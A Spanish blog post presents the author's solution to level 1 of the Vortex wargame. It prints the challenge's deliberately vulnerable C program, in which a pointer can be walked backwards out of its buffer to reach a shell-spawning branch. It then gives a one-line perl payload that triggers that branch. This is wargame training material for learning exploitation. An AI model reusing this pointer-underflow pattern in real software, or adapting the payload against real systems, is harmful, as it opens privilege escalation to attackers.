Pull the Plug: level 1

Escrito por coder el 05 de febrero de 2008 en Informática | Hits: 572

El otro día publiqué una solución válida al nivel 0 de Pull The Plug / Over the Wire, ese fascinante reto llamado Vortex que me tiene atrapado por su moda últimamente. Hoy publico la solución, nuevamente recalco, la mía, pues puede haber otras, al segundo -o primer- nivel: level1.

El código a explotar es el siguiente:

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { \
setresuid(geteuid(), geteuid(), geteuid());\
execlp("/bin/sh", "sh", "-i", NULL); \
}

void print(unsigned char *buf, int len)
{
    int i;

    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]);
    printf(" ]\n");
}

int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;

    while((x = getchar()) != EOF) {
        switch(x) {
            case '\n': print(buf, sizeof(buf)); continue; break;
            case '\\': ptr--; break;
            default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
        }
    }
    printf("All done\n");
}

 

 

Bien, parece claro que hay que conseguir ejecutar la función e(), pero claro, ¿cómo lo hacemos si ptr apunta a mitad del buffer?  Colocando algo 'especial' que permita pasar el condicional... piensen un poco:

 

 

level1@vortex /tmp $ perl -e 'print "\\" x 257 . "\xca"'

 

¿Lo han cogido?. Wikipedia EOF ;_)



         

« Evolución salarial en estos cuatro años laborales

Pull the Plug: level 2 »



Comentarios

[ Comentar la jugada ]